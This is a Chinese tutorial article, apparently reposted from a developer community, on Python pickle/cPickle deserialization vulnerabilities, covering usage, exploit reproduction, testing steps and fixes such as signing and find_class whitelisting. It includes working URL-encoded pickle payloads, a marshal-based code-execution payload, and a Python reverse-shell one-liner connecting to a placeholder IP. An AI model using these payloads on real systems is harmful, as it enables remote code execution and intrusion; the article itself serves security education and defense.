Python安全之反序列化——pickle/cPickle

news/2025/2/24 17:33:41

一. 概述

Python中有两个模块可以实现对象的序列化,pickle和cPickle,区别在于cPickle是用C语言实现的,pickle是用纯python语言实现的,用法类似,cPickle的读写效率高一些。使用时一般先尝试导入cPickle,如果失败,再导入pickle模块。

pickle的应用场景一般有以下几种:

1) 在解析认证token,session的时候;

(尤其web中使用的redis、mongodb、memcached等来存储session等状态信息)

2) 将对象Pickle后存储成磁盘文件;

3)将对象Pickle后在网络中传输。

二.用法

pickle 具有两个重要的函数:

1)一个是dump(), 作用是接受一个文件句柄和一个数据对象作为参数,把数据对象以特定的格式保存到给定的文件中;

2)另一个函数是load(),作用是从文件中取出已保存的对象,pickle 知道如何恢复这些对象到他们本来的格式。

使用方式如下:

pickle.dump(obj, file, protocol=None, *, fix_imports=True)  //输出为文件对象
pickle.dumps(obj, protocol=None, *, fix_imports=True)  //输出为 bytes 对象
pickle.load(file)  // load参数是文件句柄
pickle.loads(file)  // loads参数是字符串

三. 漏洞复现

1、本地命令执行

1) 写一个最简单的demo环境,用户输入文件后使用pickle.load方法进行反序列化:

 2) 生成payload,定义执行calc命令的类,使用dumps方法进行序列化并输出到poc.pickle中:

3) 执行此payload:

 

4) 模拟实现一个更为真实的web环境,取路径中的参数后使用cPickle.loads方法反序列化:

5) 将刚才生成的payload进行url编码,请求:

http://127.0.0.1:8000/?payload=cnt%0Asystem%0Ap1%0A(S%27calc%27%0Ap2%0AtRp3%0A.

2、任意代码执行(任意函数构造)

将上述的calc改为下面的字符串可实现反弹shell:

python-c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

 

这种通过-c参数只能执行相对简单的代码,如果出现了一些自定义函数,要序列化的对象就成了code类型。

但是pickle不能序列化code对象,这里简单测试一下:将要执行的代码都写到一个函数里foo(),尝试反序列化代码对象:

问题解决:从python2.6起,包含了一个可以序列化code对象的模块Marshal。由于python可以在函数当中再导入模块和定义函数,故可以将自己要执行的代码都写到一个函数foo()里:

得到payload:

http://127.0.0.1:8000/?payload=ctypes%0AFunctionType%0A%28cmarshal%0Aloads%0A%28cbase64%0Ab64decode%0A%28S%27YwAAAAABAAAAAgAAAAMAAABzOwAAAGQBAGQAAGwAAH0AAIcAAGYBAGQCAIYAAIkAAGQDAEeIAABkBACDAQBHSHwAAGoBAGQFAIMBAAFkAABTKAYAAABOaf9jAQAAAAEAAAAEAAAAEwAAAHMsAAAAfAAAZAEAawEAchAAfAAAU4gAAHwAAGQBABiDAQCIAAB8AABkAgAYgwEAF1MoAwAAAE5pAQAAAGkCAAAAKAAAAAAoAQAAAHQBAAAAbigBAAAAdAMAAABmaWIoAAAAAHMwAAAARDovb3RoZXIvUHl0aG9uX3NlYy9QaWNrbGVSQ0UvcGlja2xlX3BvY19nZW4wLnB5UgEAAAALAAAAcwYAAAAAAQwBBAFzCQAAAGZpYigxMCkgPWkKAAAAdAQAAABjYWxjKAIAAAB0AgAAAG9zdAYAAABzeXN0ZW0oAQAAAFIDAAAAKAAAAAAoAQAAAFIBAAAAczAAAABEOi9vdGhlci9QeXRob25fc2VjL1BpY2tsZVJDRS9waWNrbGVfcG9jX2dlbjAucHl0AwAAAGZvbwkAAABzCAAAAAABDAEPBA8B%27%0AtRtRc__builtin__%0Aglobals%0A%28tRS%27%27%0AtR%28tR.

3、其他payload:

国外文档:http://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdfhttp://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdf

 更多payload:GitHub - sensepost/anapickle: Toolset for writing shellcode in Python's Pickle language and for manipulating pickles to inject shellcode.Toolset for writing shellcode in Python's Pickle language and for manipulating pickles to inject shellcode. - sensepost/anapicklehttps://github.com/sensepost/anapickle

四. 测试方法

根据漏洞原理进行测试: 1)查找是否引入pickle/cPickle包;

2)若引入则查看并是否进行了pickle.load(param)或pickle.loads(param)操作;

3) 若参数输入可控,则可能存在反序列化漏洞,构造payload进行利用。

五. 修复方案

1) 确保反序列化对象不可控,且在传递前请进行签名或者加密,防止篡改和重播

2) 如果序列化数据存储在磁盘上,请确保不受信任的第三方不能修改、覆盖或者重新创建自己的序列化数据

3)将 pickle 加载的数据列入白名单,可使用官方推荐的find_class方法,使用白名单限制反序列化引入的对象pickle — Python object serialization — Python 3.7.17 documentationhttps://docs.python.org/3.7/library/pickle.html#pickle-restrict

 六、沙盒绕过

http://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdfhttp://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdf https://github.com/phith0n/code-breaking/tree/master/2018/picklecodehttps://github.com/phith0n/code-breaking/tree/master/2018/picklecode https://github.com/team-su/SUCTF-2019/tree/master/Misc/guess_gamehttps://github.com/team-su/SUCTF-2019/tree/master/Misc/guess_game

 转载自:Python安全之反序列化——pickle/cPickle-腾讯云开发者社区-腾讯云


http://www.niftyadmin.cn/n/5864650.html

相关文章

基于AT89C52单片机的出租车计价器

点击链接获取Keil源码与Project Backups仿真图: https://download.csdn.net/download/qq_64505944/90419909?spm1001.2014.3001.5501 C17 部分参考设计如下: 摘要 随着城市交通行业的迅速发展,出租车作为最主要的城市公共交通工具之一…

http 协议在互联网中扮演着怎样的角色?

互联网各领域资料分享专区(不定期更新): Sheet 正文 HTTP(超文本传输协议)在互联网中扮演着核心通信协议的角色,是万维网(World Wide Web)的基础技术之一。 1. 客户端-服务器交互的桥梁 浏览器与服务器的通信语言:HTTP定义了浏览器(客户端)如何向服务器请求资源(如…

Python 基本语法的详细解释

目录 (1)注释 (2)缩进 (3)变量和数据类型 变量定义 数据类型 (4)输入和输出 输出:print() 函数 输入:input() 函数 (1)注释 注…

黑马点评 面试话术

MybatisPlus session技术会把jsessionid自动写到cookie里 ThreadLocal保证线程安全 用springmvc的自定义拦截器把登出用户 查看详情 获取当前用户并且返回 上传操作 登录查看详情 以下是不拦截的路径 在tomcat负载均衡时 如果不使用redis 直接用相互拷贝 1 浪费空间 2 如果此时…

软件需求管理办法,软件开发管理指南(Word原件)

1. 目的 2. 适用范围 3. 参考文件 4. 术语和缩写 5. 需求获取的方式 5.1. 与用户交谈向用户提问题 5.1.1. 访谈重点注意事项 5.1.2. 访谈指南 5.2. 参观用户的工作流程 5.3. 向用户群体发调查问卷 5.4. 已有软件系统调研 5.5. 资料收集 5.6. 原型系统调研 5.6.1. …

JAVA-Exploit编写(13-15)--JAVAFX-GUI检测工具编写实现

目录 一,JAVAFX-GUI单个漏洞检测编写 1.1 绑定事件 1.2 Thinkphp5_Rce编写 1.3 编写利用类 1.4 Thinkphp2x_Rce编写 1.5 单个漏洞检测GUI工具完整代码 二,JAVAFX-GUI单个漏洞批量检测编写 2.1 编写利用反射类 2.2 批量检测漏洞完整GUI工具代码 三,JAVAFX-GUI…

Redis过期数据处理

Redis缓存过期后数据还能恢复吗? Redis缓存过期后,数据通常会被删除,但可以通过以下几种方法尝试恢复数据: 1. 数据备份恢复 RDB 持久化恢复:Redis 提供了 RDB(Redis Database Backup)持久化…

Qt 是一个跨平台的 C++ 应用程序框架

Qt 是一个跨平台的 C++ 应用程序框架,广泛用于开发图形用户界面(GUI)应用程序,也可以用于开发非 GUI 程序,如命令行工具和控制台应用程序。Qt 提供了丰富的类库和工具,支持多种操作系统,包括 Windows、macOS、Linux 等。 主要特点: 跨平台:Qt 支持多种操作系统,开发…